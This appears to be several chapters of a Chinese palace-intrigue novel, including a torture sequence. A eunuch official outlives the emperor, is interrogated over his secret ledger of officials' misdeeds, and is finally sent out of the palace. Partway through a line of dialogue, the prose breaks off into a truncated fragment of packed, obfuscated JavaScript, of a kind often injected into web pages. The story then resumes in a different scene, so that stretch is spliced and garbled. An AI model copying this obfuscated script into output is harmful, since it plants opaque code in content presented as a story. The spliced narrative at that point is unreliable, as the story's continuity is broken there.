二十三年，他从一个端茶倒水的小太监，爬到司礼监秉笔太监的位置。他扳倒过东厂提督，斗过内阁首辅，在新君面前说过话，在太后面前磕过头。他见过太多人起高楼，宴宾客，楼塌了。 但他从没见过这样的冬天。 这个冬天，冷得邪乎。 腊月初三，下了一场大雪。雪下了一天一夜，把整个京城埋在白茫茫的一片里。宫里的甬道上，积雪没过脚踝，走路都得小心翼翼的。 苏瑾站在值房窗前，看着外面的雪。 老槐树的枝丫上压满了雪，沉甸甸的，像是随时会断。几只麻雀缩在枝头，抖着羽毛，不敢飞。 他看了一会儿，关上窗，回到桌边。 这几天，他心里总是不安。 新君病了。 起初只是小病，咳嗽，发热，太医说是风寒，开了几服药，说歇几天就好。但几天过去，不但没好，反而更重了。现在新君已经三天没上朝了，一切政务都由内阁处理，重要的事才送到御前。 苏瑾想去探望，但没敢。 新君现在最不想见的，可能就是他了。 因为他知道的太多。 这天下午，冯保来了。 冯保的脸色很难看。他推开门，走进来，看着苏瑾，半天没说话。 苏瑾也没说话，只是看着他。 过了好一会儿，冯保才开口，声音压得很低：“新君不行了。” 苏瑾心里一紧，但脸上什么表情都没有。他说：“太医怎么说？” 冯保说：“熬不过这个月了。” 苏瑾沉默了很久。 然后他问：“太后知道吗？” 冯保说：“知道。太后已经在乾清宫守着了。” 苏瑾点点头。 冯保看着他，说：“你怎么一点都不急？” 苏瑾说：“急有什么用？” 冯保愣了一下，然后苦笑：“你说得对，急有什么用。”他顿了顿，“苏瑾，新君这一走，你怎么办？” 苏瑾说：“不知道。” 冯保说：“不知道？你就没想过？” 苏瑾说：“想过。想不出来。” 冯保叹了口气，说：“你自己小心吧。我能说的，就这些了。” 说完，他走了。 苏瑾坐在椅子上，看着窗外的雪。 新君要死了。 那个十九岁登基、意气风发的年轻人，那个想整顿朝纲、想做千古一帝的皇帝，那个对他既信任又猜忌、既用他又防他的人——要死了。 苏瑾不知道该是什么心情。 他恨新君吗？不恨。新君对他不薄，用他，赏他，信任他。 他感激新君吗？也不。新君也防他，疑他，让他如履薄冰。 他们之间的关系，说不清道不明。君臣？主仆？还是别的什么？ 苏瑾不知道。 他只知道，新君一死，他的日子就难了。 太后垂帘，小皇帝登基。太后会怎么对他？他不知道。 他只能等。 等那个结果。 腊月初九，新君召见他。 来人是个小太监，说：“苏公公，陛下召见。” 苏瑾站起来，跟着他走。 一路上，他什么都没想。脑子里空空的，像外面的雪地，白茫茫一片。 走到乾清宫门口，小太监停住，说：“苏公公，请。” 苏瑾走进去。 乾清宫里很暗。窗帘都拉着，只有几盏宫灯亮着。空气里弥漫着一股药味，苦涩涩的，呛得人想咳嗽。 新君躺在龙床上，盖着厚厚的被子，脸色蜡黄，眼窝深陷，嘴唇干裂。才几天不见，他就瘦得脱了形。 太后坐在床边，手里捻着佛珠，慢慢地捻着。看见苏瑾进来，她抬了抬眼皮，没说话。 苏瑾跪下，磕头：“奴才苏瑾，叩见陛下，叩见太后。” 新君抬起手，摆了摆。太后站起来，说：“你们说话吧。”她走到屏风后面，坐下了。 苏瑾跪着，一动不动。 新君看着他，说：“苏瑾，过来。” 苏瑾膝行几步，到床边。 新君看着他，说：“你知道朕为什么叫你来吗？” 苏瑾说：“奴才知道。” 新君说：“为什么？” 苏瑾说：“陛下有话要对奴才说。” 新君笑了，笑得虚弱。他说：“你这个人，太聪明了。” 苏瑾没说话。 新君说：“朕问你一句话，你要老实回答。” 苏瑾说：“陛下请讲。” 新君说：“你这几年，是不是一直在防着朕？” 苏瑾愣住了。 他看着新君，新君也看着他。那双眼睛，曾经锐利得像刀，现在却浑浊得像一潭死水。但那双眼睛里，还有一种东西——一种想知道答案的东西。 苏瑾沉默了一会儿，说：“是。” 新君笑了。这次的笑，和刚才不一样，有点苦涩，也有点释然。他说：“朕就知道。” 苏瑾说：“陛下恕罪。” 新君说：“朕不怪你。朕要是在你这个位置，也会防着朕。”他顿了顿，“你知道朕为什么用你吗？” 苏瑾说：“因为奴才有用。” 新君说：“有用是一方面。另一方面，是朕觉得你可怜。” 苏瑾愣住了。 新君说：“你没有根，没有后，没有家，没有靠山。你只有你自己。朕看着你，觉得你可怜。所以朕用你，赏你，信任你。” 苏瑾沉默着。 新君说：“但朕也知道，你这样的人，最可怕。因为你什么都没有，所以你什么都敢做。” 苏瑾说：“奴才不敢。” 新君说：“你敢。你只是还没做。”他咳嗽了几声，喘了口气，“苏瑾，朕死后，太后会垂帘听政。她那个人，比朕狠。你小心点。” 苏瑾说：“多谢陛下提醒。” 新君看着他，说：“你就不问问，朕为什么提醒你？” 苏瑾说：“奴才不敢问。” 新君笑了，笑得虚弱。他说：“因为你是个好奴才。朕用你五年，你没出过差错。朕防你五年，你也没怨恨过朕。你这样的人，不多见。” 苏瑾说：“奴才只是做了该做的事。” 新君说：“该做的事……”他喃喃重复了一遍，然后说，“苏瑾，朕最后问你一件事。” 苏瑾说：“陛下请讲。” 新君说：“那本账，你准备怎么办？” 苏瑾愣住了。 新君看着他，说：“朕知道你有本账。记着很多人的把柄。朕死后，那本账怎么办？” 苏瑾沉默了很久。 然后他说：“奴才不知道。” 新君说：“不知道？” 苏瑾说：“那本账，是奴才的命。没有它，奴才活不了。有了它，奴才也活不好。奴才真的不知道。” 新君盯着他，看了很久。 然后他笑了，笑得虚弱。他说：“苏瑾啊苏瑾，你这个人，真是……”他没说完，又咳嗽起来。 太后从屏风后面走出来，说：“陛下该歇了。” 新君摆摆手，说：“让他去吧。” 苏瑾磕头，说：“奴才告退。” 他站起来，退了出去。 走出乾清宫，外面的雪还在下。雪花落在脸上，凉凉的，很快就化了。 苏瑾站在雪地里，站了很久。 他不知道新君为什么要跟他说那些话。是真心的？还是临终前的感慨？ 他不知道。 但他知道，新君快死了。 那个十九岁登基的年轻人，那个想整顿朝纲的皇帝，那个对他既信任又猜忌的人——快死了。 他忽然想起第一次见新君的时候。 那时候新君还是太子，十九岁，站在先帝的灵堂里，一滴眼泪都没有。那时候苏瑾就觉得，这个人，不简单。 后来新君登基，清算先帝旧人，把他晾在一边。那时候他觉得，这个人，够狠。 再后来，他献计，新君用他，信任他。那时候他觉得，这个人，有用。 再再后来，新君开始疑他，防他，试探他。那时候他觉得，这个人，也是普通人。 现在，这个人快死了。 苏瑾不知道该是什么心情。 他站了很久，直到身上落满了雪，才转身离开。 腊月十二，新君驾崩。 消息传来的时候，苏瑾正在值房里看奏折。小顺子跑进来，脸色煞白，说：“苏公公，新君……新君没了。” 苏瑾放下奏折，站起来。 他走到窗边，推开窗户。 外面的雪已经停了，天灰蒙蒙的，像一块脏抹布。远处传来隐隐约约的哭声，是乾清宫那边。 他站了一会儿，关上窗，走回去，坐下来。 小顺子看着他，说：“苏公公，您……您没事吧？” 苏瑾说：“没事。” 小顺子说：“那您……” 苏瑾说：“你先出去吧。我想一个人待会儿。” 小顺子点点头，退了出去。 苏瑾坐在椅子上，看着那本奏折。 奏折上还有新君批的字。那是三天前批的，字迹潦草，已经没有以前的力道了。他批的是“准”字，后面还有一句话：“速办。” 这是新君批的最后一道奏折。 苏瑾看着那个“准”字，看了很久。 然后他把奏折合上，放在一边。 他站起来，走到窗边，又推开窗户。 外面的天还是灰蒙蒙的，远处还是隐隐约约的哭声。 他忽然想起新君那天说的话。 “你没有根，没有后，没有家，没有靠山。你只有你自己。朕看着你，觉得你可怜。” 可怜。 这个词，他在宫里二十三年，从没想过会有人用在他身上。 他觉得自己不可怜。他只是想活着。活着，就得算计，就得防备，就得走一步看三步。这有什么可怜的？ 但新君觉得他可怜。 也许，新君是对的。 也许，他真的可怜。 因为没有根的人，永远都是飘着的。不知道从哪里来，不知道到哪里去。活着，只是活着。 他站在窗前，站了很久。 直到天黑了，他才关上门，离开值房。 新君的丧事，办了二十七天。 这二十七天里，苏瑾每天都在灵堂跪着，和当年跪先帝一样。只是这一次，他跪的位置靠前了一些——因为他是司礼监秉笔太监，是先帝旧人，也是新君信任过的人。 灵堂里，很多人哭。 有真哭的，有假哭的，有哭得撕心裂肺的，有哭得晕过去的。和当年一模一样。 苏瑾也哭。 这一次，他是真哭。 不是为新君哭，是为自己哭。 新君死了，他怎么办？ 他不知道。 他只能等。 等那个结果。 丧事办完那天，太后召见他。 苏瑾去了慈宁宫。太后还是在那间暗沉沉的寝宫里见他。她坐在榻上，手里捻着佛珠，慢慢地捻着。 “苏瑾，”太后说，“新君走了，你有什么想法？” 苏瑾跪下，说：“奴才不敢有想法。” 太后笑了，笑声里听不出是什么意思。她说：“不敢？你这个人，还有不敢的事？” 苏瑾说：“奴才只是太监，不敢有非分之想。” 太后看着他，说：“新君临死前，跟你说了什么？” 苏瑾说：“陛下说，让奴才小心。” 太后说：“小心？小心谁？” 苏瑾说：“小心……该小心的人。” 太后盯着他，看了很久。然后她说：“苏瑾，你是个聪明人。聪明人，应该知道什么时候该说什么话。” 苏瑾说：“奴才知道。” 太后说：“知道就好。”她顿了顿，“新君走了，小皇帝登基，我垂帘听政。你以后，还像以前一样，该干什么干什么。” 苏瑾说：“奴才遵旨。” 太后说：“去吧。” 苏瑾磕头，退了出去。 走出慈宁宫，他站在院子里，出了一身冷汗。 太后的话，说得轻描淡写，但他听出了里面的意思。 太后不会杀他，至少暂时不会。因为她需要他。需要他那本账，需要他知道的那些事。 但她也警告他：老实点。不老实，就死。 苏瑾知道，他又一次站在刀尖上。 只是这一次，刀比上一次更利。 新君死后，朝堂上发生了很多变化。 张谦益还是内阁首辅，但他比以前更小心了。因为他知道，太后不喜欢他。太后喜欢的是那种能办事、不惹事的人，比如王世安。 王世安被提拔了。从吏部侍郎升到吏部尚书，又从吏部尚书升到内阁次辅。他升得很快，快得让人眼红。但他还是和以前一样，不结党，不站队，每天按时上朝，按时回家，不跟任何人来往。 苏瑾看着这些变化，心里暗暗点头。 太后是个明白人。她知道什么人能用，什么人不能用。她留着他，是因为他有用。她用王世安，是因为王世安干净。 干净的人，用着放心。 这天，王世安来找他。 王世安是夜里来的，穿着一身便服，像普通人一样。他站在苏瑾的值房门口，敲了敲门。 苏瑾开了门，看见他，愣住了。 “王大人？” 王世安说：“苏公公，深夜来访，打扰了。” 苏瑾侧身让开，说：“请进。” 王世安走进去，坐下。苏瑾倒了杯茶，递给他。王世安接过来，喝了一口。 苏瑾说：“王大人深夜来访，有什么事？” 王世安说：“苏公公，我想问你一句话。” 苏瑾说：“王大人请讲。” 王世安说：“太后想让我当首辅，你说，我该不该当？” 苏瑾愣住了。 他看着王世安，说：“王大人，这话你不该问我。” 王世安说：“为什么？” 苏瑾说：“我是太监，你是内阁大臣。你我之间，不该有私交。” 王世安说：“我知道。但我找不到别人问。” 苏瑾沉默了一会儿，说：“王大人，你想听真话还是假话？” 王世安说：“真话。” 苏瑾说：“该当。” 王世安说：“为什么？”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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苏瑾打断他：“不用。你先回去，小心点。有事我会找你。” 老周点点头，走了。 苏瑾坐在黑暗里，想了很久。 有人要动他。 这是迟早的事。 他得罪的人太多，知道的事太多，碍着的人太多。那些人不会放过他。 但他没想到，会这么快。 新君刚死，太后刚垂帘，他们就动手了。 这说明什么？说明他们早就准备好了。只等新君一死，就动手。 苏瑾站起来，走到窗边，推开窗户。 月光洒进来，照在他脸上。他看着天上的月亮，想起自己这些年走过来的路。 他从小苏子变成苏瑾，从端茶倒水的小太监变成司礼监秉笔太监。他扳倒过东厂提督，斗过内阁首辅，在新君面前说过话，在太后面前磕过头。 他以为自己能活着。 但现在，有人要他死。 他不怕死。 但他不甘心。 他还有很多事没做。 他还欠着林氏的恩情，他还欠着小顺子的照顾，他还欠着那本账一个交代。 他不能死。 他得想办法。 第二天，他去找冯保。 冯保看见他来，有些意外：“你怎么又来了？” 苏瑾说：“有人要动我。” 冯保愣住了：“谁？” 苏瑾说：“不知道。但消息是从东厂传出来的。” 冯保沉默了一会儿，说：“你打算怎么办？” 苏瑾说：“我想请冯公公帮忙。” 冯保说：“帮什么？” 苏瑾说：“帮我打听打听，是谁在动我。” 冯保看着他，叹了口气，说：“苏瑾啊苏瑾，你这人，真是……”他没说完，站起来，“行，我帮你打听。” 苏瑾说：“多谢冯公公。” 冯保摆摆手，走了。 苏瑾回到值房，等着。 三天后，冯保来了。 他说：“查到了。” 苏瑾说：“是谁？” 冯保说：“张谦益。” 苏瑾愣住了。 冯保说：“他找了几个御史，联名参你。罪名是‘弄权乱政，陷害忠良’。还说你有本账，记着很多人的把柄，这是图谋不轨。” 苏瑾沉默了很久。 然后他笑了。 冯保看着他，说：“你笑什么？” 苏瑾说：“我笑我自己。” 冯保说：“笑什么？” 苏瑾说：“我以为他怕我，不敢动我。我错了。” 冯保说：“你打算怎么办？” 苏瑾说：“我不知道。” 冯保说：“你不知道？你就不急？” 苏瑾说：“急也没用。” 冯保看着他，叹了口气，说：“苏瑾，你这个人，我是真看不懂。”他顿了顿，“你自己保重吧。” 说完，他走了。 苏瑾坐在椅子上，想了很久。 张谦益动他了。 这不是意外。这是迟早的事。他早就该想到。 他得罪张谦益得罪得太狠了。他知道张谦益的把柄，张谦益也知道他知道。两个人之间，早就不是你死就是我活。 只是张谦益一直在等机会。 现在，机会来了。 新君死了，太后刚垂帘，朝局不稳。这个时候参他，是最合适的。 苏瑾知道自己危险了。 但他不怕。 因为他有准备。 他那些后路，那些账本，那些人，现在该用上了。 第二天，太后召见他。 苏瑾去了慈宁宫。太后还是在那间暗沉沉的寝宫里见他。她坐在榻上，手里捻着佛珠，慢慢地捻着。 “苏瑾，”太后说，“有人参你。” 苏瑾说：“奴才知道。” 太后说：“你知道？” 苏瑾说：“是。” 太后说：“那你有什么话说？” 苏瑾说：“奴才冤枉。” 太后看着他，说：“冤枉？那些证据，是假的？” 苏瑾说：“是假的。” 太后说：“你怎么证明？” 苏瑾说：“奴才请太后，让奴才当面对质。” 太后沉默了一会儿，说：“好。明天早朝，你当面对质。” 苏瑾说：“多谢太后。” 太后说：“去吧。” 苏瑾磕头，退了出去。 走出慈宁宫，他站在院子里，出了一身冷汗。 太后让他当面对质。这说明什么？说明太后想看看，他和张谦益，谁更有用。 有用的人，留下。没用的人，死。 这是他唯一的机会。 他得抓住。 他回到值房，把那些东西又检查了一遍。 账本，藏好了。证据，准备好了。人，安排好了。 他该做的，都做了。 剩下的，就看明天了。 --- 10. 清算 第二天一早，苏瑾穿上朝服，去了乾清宫。 他站在御阶之下，等着张谦益出列参他。等着太后开口。等着那一场你死我活的对质。 但什么都没发生。 朝会照常进行，张谦益没有出现。有人说他病了，告假在家。太后也没有提参奏的事，像什么都没发生过一样。 苏瑾站在那里，听着那些无关痛痒的奏报，心里却越来越冷。 他知道，这不是结束。这是暴风雨前的安静。 太后在等什么？他不知道。但他知道，等得越久，暴风雨越大。 退朝后，他回到值房，坐在椅子上，想了很久。 他想起昨天晚上，自己把账本又检查了一遍，把证据又藏了一遍，把后路又过了一遍。他以为准备好了。 但现在他知道，他准备的，是对质。而太后要的，不是对质。 日子一天一天过去。一天，两天，三天……半个月。 张谦益一直告病在家。太后一直没再提参奏的事。朝堂上安静得像一潭死水。 苏瑾每天按时去值房，按时回家，按时吃饭睡觉。他不再打听任何消息，不再见任何人，连小顺子来送茶，他也只让他放下就走。 他在等。 等那个结果。 天顺二十三年，正月十八。 这个冬天，格外漫长。 苏瑾站在值房窗前，看着外面的雪。雪已经下了三天三夜，把整个皇宫埋在白茫茫的一片里。老槐树的枝丫上压满了雪，有几根已经断了，掉在地上，被雪埋住，看不见了。 他看了一会儿，关上窗，回到桌边。 这几天，他总觉得不安。 自从那次朝会之后，太后就再也没召见过他。张谦益一直告病在家。朝堂上安静得有些诡异，像暴风雨前的平静。 苏瑾知道，这是暴风雨前的平静。 太后在等。 等什么？他不知道。 但他知道，等的时候越久，暴风雨越大。 这天下午，门被推开了。 不是小顺子，是几个锦衣卫。为首的一个人，穿着飞鱼服，腰挎绣春刀，脸色很冷。他看了苏瑾一眼，说：“苏公公，请跟我们走一趟。” 苏瑾站起来，问：“什么事？” 那人说：“到了就知道了。” 苏瑾点点头，没再多问。他看了一眼门口，小顺子不在。 他跟着锦衣卫走了。 走出值房，外面雪还在下。雪花落在脸上，凉凉的，很快就化了。他走在长长的甬道上，两边是高高的红墙，把天空夹成细细的一条。 这条路，他走了二十三年。 今天，也许是最后一次了。 他不知道等待他的是什么。 但他知道，他不会那么容易死。 他还有那本账。 锦衣卫把苏瑾带到了一个地方。 不是刑部大牢，不是东厂大牢，是诏狱。 诏狱在皇城西北角，是专门关押钦犯的地方。进了这里的人，十个有九个出不去。剩下的一个，出去也是废人。 苏瑾被带进一间牢房。 牢房很小，只有几步见方。三面是墙，一面是铁栅栏。地上铺着一层干草，散发着霉味。墙角放着一个马桶，臭气熏天。没有床，没有被子，没有窗户。只有一盏油灯，挂在铁栅栏上，发出昏黄的光。 苏瑾站在牢房中间，看着这一切。 他知道，他进来了。 能不能出去，不知道。 他坐下来，靠在墙上，闭上眼睛。 等。 等那个人来。 第一天，没人来。 第二天，也没人来。 第三天，有人来了。 来的人是魏忠。 苏瑾睁开眼，看见魏忠站在铁栅栏外面，正看着他笑。那笑容，和当年在灵堂里一模一样——温和，亲切，让人发冷。 “苏公公，好久不见。”魏忠说。 苏瑾没说话。 魏忠说：“没想到吧？我们又见面了。” 苏瑾说：“是没想到。” 魏忠笑了。他说：“你知道吗，我在东厂大牢里那几年，天天都在想你。” 苏瑾说：“想我什么？” 魏忠说：“想你怎么还没死。想我什么时候能亲手送你一程。” 苏瑾说：“现在你等到了。” 魏忠说：“对，等到了。”他顿了顿，盯着苏瑾，眼神阴冷，“你在朝堂上拿出周文渊血书的时候，有没有想过会有今天？” 苏瑾说：“想过。” 魏忠愣了一下，然后笑了。他说：“想过？那你还敢那么做？” 苏瑾说：“不做，也是死。” 魏忠说：“有骨气。”他挥了挥手，两个狱卒走进来，把苏瑾拖了出去。 他们把他拖到一间刑房里。 刑房很大，四面墙上挂满了各种刑具。烙铁，夹棍，拶子，皮鞭，还有叫不出名字的东西。地上有一滩黑红色的东西，是血，干了又泼，泼了又干，积了厚厚一层。 苏瑾被绑在木架上。 魏忠走进来，站在他面前，看着他。他说：“苏公公，你知道我等这一天等了多久吗？” 苏瑾说：“不知道。” 魏忠说：“三年零四个月。从我被关进大牢那天起，我就在等这一天。” 苏瑾没说话。 魏忠拿起一根皮鞭，在手里掂了掂，“我倒要看看，你的骨气能撑多久。” 第一鞭，抽在背上。 苏瑾咬紧牙关，没出声。 第二鞭，第三鞭，第四鞭…… 皮鞭抽在身上，火辣辣的疼。每一鞭下去，都是一道血痕。苏瑾咬着牙，一声不吭。额头上的汗往下流，流到眼睛里，咸得睁不开。但他就是不吭声。 魏忠抽了二十几鞭，停下来，看着他。他说：“苏公公，叫出来吧。叫出来，舒服点。” 苏瑾说：“不叫。” 魏忠笑了，笑得阴森森的。他说：“好，好，有骨气。我倒要看看，你能撑多久。” 他放下皮鞭，拿起一根烙铁。烙铁在炭火里烧得通红，冒着青烟。他拿着烙铁，走到苏瑾面前，说：“苏公公，你知道这是什么吗？” 苏瑾没说话。 魏忠说：“这是烙铁。烧红了，往身上一按，滋啦一声，肉就熟了。那个味，你闻过吗？” 苏瑾说：“没有。” 魏忠说：“那你今天闻闻。” 他把烙铁按在苏瑾的肩膀上。 滋啦一声，青烟冒起。一股焦臭味弥漫开来。 苏瑾浑身一抖，牙齿咬得咯咯响，但他还是没出声。 魏忠看着他，眼神里有一丝惊讶。他说：“苏公公，你真是条汉子。” 苏瑾说：“过奖。” 魏忠笑了，笑得疯狂。他说：“好，好，我看你能撑多久。” 他把烙铁放回火里，又拿起一根皮鞭。 一鞭，一鞭，又一鞭。 苏瑾不知道过了多久。 他只记得鞭子抽在身上，疼得他浑身发抖。烙铁按在身上，疼得他几乎晕过去。夹棍夹在手指上，疼得他眼冒金星。 但他就是不吭声。 不叫，不求饶，不认罪。 因为他知道，一叫，就输了。 一求饶，就输了。 一认罪，就死了。 他不能输，不能死。 他要活着。 魏忠抽累了，停下来，喘着气。他看着苏瑾，眼神里有一种奇怪的东西——佩服，还是不甘？他说：“苏瑾，你这个人，我服了。” 苏瑾没说话。 魏忠说：“换别人，早叫了。你硬是一声不吭。” 苏瑾说：“叫了，你就不打了？” 魏忠愣了一下，然后笑了。他说：“你倒是明白。”他放下皮鞭，走到他面前，说，“苏瑾，我不打你了。咱们谈谈。” 苏瑾说：“谈什么？” 魏忠说：“你那本账，在哪儿？” 苏瑾说：“没有账。” 魏忠说：“没有？你以为我信？” 苏瑾说：“信不信由你。” 魏忠盯着他，看了很久。然后他说：“苏瑾，你知道太后为什么让我来审你吗？” 苏瑾没说话。 魏忠说：“因为太后知道，我们俩有仇。让我来审你，最合适。” 苏瑾说：“我知道。” 魏忠说：“你知道就好。”他顿了顿，“苏瑾，我给你指条活路。把那本账交出来，我替你求情，饶你一命。” 苏瑾说：“我说了，没有账。” 魏忠看着他，眼神阴冷。他说：“苏瑾，你非要找死？” 苏瑾说：“我不想死。但我也没有账。” 魏忠沉默了一会儿。然后他笑了，笑得阴森森的。他说：“好，好，你嘴硬。我看你能硬到什么时候。” 他挥了挥手，狱卒把苏瑾从木架上解下来，拖回牢房。 苏瑾被扔在干草上，动不了。 他浑身上下没有一处不疼的。背上的鞭痕火辣辣的，肩膀上的烫伤一跳一跳地疼，手指肿得像胡萝卜，动一下都钻心。 但他心里是清醒的。 他知道，这只是开始。 魏忠不会罢休，太后也不会罢休。 他们想要那本账。 他得撑住。 撑住了，才能活。 第四天，魏忠又来了。 这一次，他没打他，只是坐在牢房外面，跟他说话。 “苏瑾，”他说，“你知道吗，张谦益也被抓了。” 苏瑾愣了一下。 魏忠说：“太后查了他，查出来一大堆事。贪了两百多万两，害了十几条人命。他死定了。” 苏瑾没说话。 魏忠说：“你知道他怎么说的吗？他说，那些事，你都知道。你那本账里，都记着。” 苏瑾说：“我说了，没有账。” 魏忠笑了。他说：“没有账？那你上次在朝堂上拿出来的那些东西，是什么？” 苏瑾说：“是记在脑子里的。” 魏忠愣住了。 他看着苏瑾，眼神复杂。他说：“记在脑子里？那么多事，你都记得？” 苏瑾说：“记得。” 魏忠沉默了很久。 然后他站起来，说：“苏瑾，你这个人，真是……”他没说完，走了。 苏瑾靠在墙上，闭上眼睛。 张谦益被抓了。 这是他没想到的。 太后动手了，比他想象的快。 但他知道，太后抓张谦益，不是因为张谦益贪，是因为张谦益没用了。张谦益被停职审查，名声臭了，再用不了了。留着也是祸害，不如杀了。 而他还活着，是因为他还有用。 那本账，还有用。 只要那本账还在，他就不会死。 但也不会好过。 第五天，第六天，第七天…… 每一天，魏忠都来。有时候打他，有时候骂他，有时候就坐在那儿看着他，不说话。苏瑾一声不吭，就那么扛着。 他不知道过了多少天。 牢房里没有窗户，分不清白天黑夜。只有送饭的时候，才知道又过了一天。饭是馊的，水是脏的，他都吃了，都喝了。他要活着。 他要活着出去。 第十天，太后来了。 苏瑾正靠在墙上发呆，忽然听见外面有动静。脚步声，说话声，然后铁栅栏被打开了。 一个人走进来。 是太后。 她穿着一身便服，戴着风帽，看不清脸。但她走进来的那一刻，整个牢房都安静了。连狱卒都不敢喘气。 太后站在牢房中间，看着苏瑾。 苏瑾挣扎着站起来，跪下去，磕头：“奴才苏瑾，叩见太后。” 太后没说话，只是看着他。 苏瑾跪着，一动不动。他身上疼得要命，但他咬牙忍着，不让自己晃。 过了很久，太后开口了。 “苏瑾，”她说，“你受苦了。” 苏瑾说：“奴才不敢言苦。” 太后说：“你知道我为什么抓你吗？” 苏瑾说：“知道。” 太后说：“为什么？” 苏瑾说：“因为奴才知道的太多。” 太后笑了。她说：“你这个人，真是聪明。”她顿了顿，“那我问你，你那本账，在哪儿？” 苏瑾说：“在奴才脑子里。” 太后说：“脑子里的，不算。我要能看的。” 苏瑾沉默了一会儿，说：“太后要看什么？” 太后说：“所有人。” 苏瑾说：“太后要所有人？” 太后说：“对。所有人。贪的，害人的，有把柄的，我都要知道。” 苏瑾说：“太后知道了，想做什么？” 太后盯着他，眼神锐利。她说：“苏瑾，你是在问我？” 苏瑾说：“奴才不敢。奴才只是想，太后知道了，是想用，还是想杀？” 太后沉默了很久。 然后她说：“该用的用，该杀的杀。” 苏瑾说：“奴才明白了。” 太后说：“那你给不给？” 苏瑾说：“给。” 太后说：“在哪儿？” 苏瑾说：“太后先放奴才出去。” 太后笑了。她说： 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他没问“您没事吧”，只是上下打量着苏瑾，目光在他身上那些裹着的伤处停了一会儿，然后低下头，说：“锅里热着汤。” 苏瑾说：“嗯。” 小顺子转身进屋，端了碗汤出来。 苏瑾接过来，在枣树下坐下。汤是热的，他喝了一口。 小顺子在他旁边蹲下，也不说话，就那么蹲着。 过了一会儿，苏瑾说：“太后让我在宫外住着。” 小顺子点点头。 苏瑾说：“以后，不用回宫了。” 小顺子又点点头。 苏瑾看着他，说：“你不问问为什么？” 小顺子说：“您想说，就会说。您不想说，我问了也没用。” 苏瑾愣了一下，然后笑了。他说：“你倒是学乖了。” 小顺子没笑。他看着苏瑾，说：“苏公公，您身上的伤……还疼吗？” 苏瑾说：“疼。” 小顺子低下头，不说话了。 苏瑾喝完汤，把碗递给他。他说：“小顺子，你以后有什么打算？” 小顺子说：“我跟着您。” 苏瑾说：“我现在什么都没有了。” 小顺子说：“您有我就够了。” 苏瑾看着他，心里微微一动。 这孩子，还是这么傻。 但他没再说什么。 天黑了。 月亮升起来，照在院子里，白白的，凉凉的。枣树的影子落在地上，像一幅画。 苏瑾还坐在枣树下，没动。 小顺子从屋里出来，在他旁边坐下。 两个人就那么坐着，谁也不说话。 过了很久，小顺子忽然说：“苏公公，您冷吗？” 苏瑾说：“不冷。” 小顺子说：“您在想什么？” 苏瑾说：“没想什么。” 小顺子说：“您骗人。” 苏瑾转过头看着他。 小顺子说：“您每次想事情，眼睛就眯着。您现在眼睛眯着。” 苏瑾愣了一下，然后笑了。他说：“你倒是什么都记得。” 小顺子说：“嗯。您的事，我都记得。” 苏瑾没说话。 他看着天上的月亮，忽然说：“小顺子，你说，太后还能活多久？” 小顺子愣住了。 苏瑾说：“她活着，我这命就不是自己的。” 小顺子沉默了一会儿，说：“那您就等着？” 苏瑾说：“嗯。等着。” 小顺子说：“等多久？” 苏瑾说：“不知道。也许几年，也许十几年。” 小顺子说：“那我陪您等。” 苏瑾看着他。 小顺子说：“您等到什么时候，我就陪到什么时候。” 苏瑾看了他很久，然后说：“小顺子，你知道吗，我在宫里二十四年，从来没遇到过像你这样对我好的人。” 小顺子说：“那是因为您以前没遇到。” 苏瑾笑了。 这天夜里，老周来了。 他敲了三下，停一下，再敲两下。小顺子去开门，看见是他，侧身让开。 老周走进院子，看见苏瑾坐在枣树下，走过来在他旁边坐下。 他看了苏瑾一会儿，说：“伤怎么样？” 苏瑾说：“死不了。” 老周点点头，从怀里掏出一个小布包，递给他。 苏瑾看了一眼：“什么？” 老周说：“张谦益死了。太后让他自尽了。” 苏瑾没说话。 老周说：“魏忠也死了。砍的头。” 苏瑾还是没说话。 老周说：“你不高兴？” 苏瑾说：“高兴不起来。” 老周说：“为什么？” 苏瑾说：“他们死了，还会有别人。” 老周沉默了一会儿，然后点点头：“你说得对。”他站起来，“我走了。” 苏瑾说：“老周。” 老周回头。 苏瑾说：“以后别来了。” 老周愣了一下。 苏瑾说：“我现在是太后的人了。来找我的人，都会被盯上。” 老周看着他，过了好一会儿，说：“你怕？” 苏瑾说：“我怕连累你。” 老周没说话，转身走了。 走到门口，他又回头看了一眼，说：“苏公公，您这条命，是捡回来的。好好活着。” 苏瑾说：“我知道。” 老周走了。 第二天，有人送来一封信。 信是王世安写的，只有一句话： “苏公公，保重。来日方长。” 苏瑾看完，把信凑到烛火上，看着它烧成灰。 来日方长。 他等着。 日子一天一天过去。 身上的伤慢慢结了痂，又慢慢脱落。肩膀上的烫伤留下了一块疤，摸上去硬硬的，像烙进去的印记。 苏瑾每天在院子里坐着，看着那棵枣树。 枣树发芽了，长出嫩绿的叶子。叶子一天天变大，遮出一片阴凉。 小顺子每天端茶倒水，做饭洗衣，忙进忙出。有时候他从外面回来，手里拎着菜，嘴里哼着不知名的小调。 苏瑾看着他，忽然觉得，这样活着，也挺好。 虽然不知道明天会怎样。 但今天，他是活着的。 活着，就够了。 --- 11. 出宫 天顺二十三年，二月初九。 苏瑾站在午门口，已经站了很久。 不是他不想走，是走不动。 从诏狱出来才三天，身上的伤还没好。背上的鞭痕结了痂，一动就裂开，血渗出来，把衣服洇湿了一块。肩膀上的烫伤还在流脓，疼得他整夜睡不着。手指虽然消了肿，但握不住东西，端碗都费劲。 他就那么站着，看着眼前那道门。 二十四年前，他从这里进去。九岁，瘦得跟麻杆似的，被人领着，一路走一路哭。他不知道要去哪里，不知道以后会怎样。领他的人说，别哭了，进了宫，就再也不能哭了。 二十四年后，他从这里出来。三十三岁，满身是伤，一个人站着，没人领。他没有哭，只是看着那道门，看了很久。 门还是那道门。红墙金瓦，威严庄重。门洞里黑沉沉的，看不清里面。 他忽然想起，二十四年前，他也曾在这门外站过。那时候他刚从乡下被带来，又脏又瘦，像一只被人丢弃的狗。他站在门外，看着这道门，心想，这里面是什么样子？ 现在他知道了。 里面是二十四年。 身后传来脚步声。 苏瑾没回头，但他知道是谁。 小顺子走过来，站在他旁边，也看着那道门。过了一会儿，小顺子说：“苏公公，马车在那边。” 苏瑾没动。 小顺子也没再催，就站在他旁边，等着。 又过了很久，苏瑾才转过身，往马车走去。 